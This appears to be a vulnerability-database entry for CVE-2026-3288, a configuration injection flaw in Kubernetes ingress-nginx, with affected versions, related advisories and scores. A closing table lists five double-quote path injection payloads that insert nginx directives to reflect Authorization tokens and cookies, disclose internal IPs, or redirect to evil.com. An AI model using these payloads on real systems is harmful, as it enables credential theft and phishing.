CVE-2026-3288

🗓️ 09 Mar 2026 21:00:48Reported by kubernetesType

cve🔗 web.nvd.nist.gov📰️ 1 Media mentions👁 45 Views🌐 WEB

Ingress-nginx rewrite-target can inject config, enabling controller code execution and secret disclosure.

Reporter	Title	Published	Views	Family All 21
GithubExploit	Exploit for CVE-2026-3288	8 Apr 202611:26	–	githubexploit
IBM Security Bulletins	Security Bulletin: IBM Cloud Kubernetes Service is affected by Kubernetes Ingress Controller security vulnerability (CVE-2026-3288)	11 Mar 202615:38	–	ibm
ATTACKERKB	CVE-2026-3288	9 Mar 202621:00	–	attackerkb
BDU FSTEC	The vulnerability of the ingress controller in the Kubernetes cluster ingress-nginx, related to deficiencies in the mechanism for verifying incoming data, allows a hacker to execute arbitrary code.	11 Mar 202600:00	–	bdu_fstec
Circl	CVE-2026-3288	10 Mar 202614:35	–	circl
CNNVD	Kubernetes ingress-nginx 安全漏洞	9 Mar 202600:00	–	cnnvd
Cvelist	CVE-2026-3288 ingress-nginx rewrite-target nginx configuration injection	9 Mar 202621:00	–	cvelist
EUVD	EUVD-2026-10360	9 Mar 202621:31	–	euvd
Tenable Nessus	Ingress-NGINX Controller < 1.13.8 / 1.14.x < 1.14.4 / 1.15.x < 1.15.0 Configuration Injection	12 Mar 202600:00	–	nessus
Kubernetes Security Advisories	ingress-nginx rewrite-target nginx configuration injection	9 Mar 202604:29	–	kubernetes

NVD

Node

kubernetes ingress-nginxRange<1.13.8

kubernetes ingress-nginxRange1.14.0–1.14.4

[
  {
    "defaultStatus": "affected",
    "product": "ingress-nginx",
    "repo": "https://github.com/kubernetes/ingress-nginx",
    "vendor": "Kubernetes",
    "versions": [
      {
        "lessThan": "1.13.8",
        "status": "affected",
        "version": "0",
        "versionType": "semver"
      },
      {
        "lessThan": "1.14.4",
        "status": "affected",
        "version": "0",
        "versionType": "semver"
      },
      {
        "lessThan": "1.15.0",
        "status": "affected",
        "version": "0",
        "versionType": "semver"
      }
    ]
  }
]

Source	Link
github	www.github.com/kubernetes/kubernetes/issues/137560
openwall	www.openwall.com/lists/oss-security/2026/03/09/8
github	www.github.com/bvabhishek/CVE-2026-3288-lab

Parameter	Position	Path	Description	CWE
/api" return 200 "HACKED BY ATTACKER	path	/api" return 200 "HACKED BY ATTACKER	Double-quote injection in path to inject nginx directives (Configuration Injection)	CWE-20
/login" return 200 "Token: $http_authorization	path	/login" return 200 "Token: $http_authorization	Double-quote injection in path to reflect Authorization header token	CWE-20
/" return 302 "https://evil.com/phishing	path	/" return 302 "https://evil.com/phishing	Double-quote injection in path to redirect users to attacker-controlled site	CWE-20
/" return 200 "Internal IP: $server_addr	path	/" return 200 "Internal IP: $server_addr	Double-quote injection in path to disclose internal server information	CWE-20
/" return 200 "Cookies: $http_cookie	path	/" return 200 "Cookies: $http_cookie	Double-quote injection in path to steal cookies	CWE-20

17 Jun 2026 10:43Current

6.2Medium risk

Vulners AI Score6.2

CVSS 3.18.8

EPSS0.06669

SSVC

CWE-20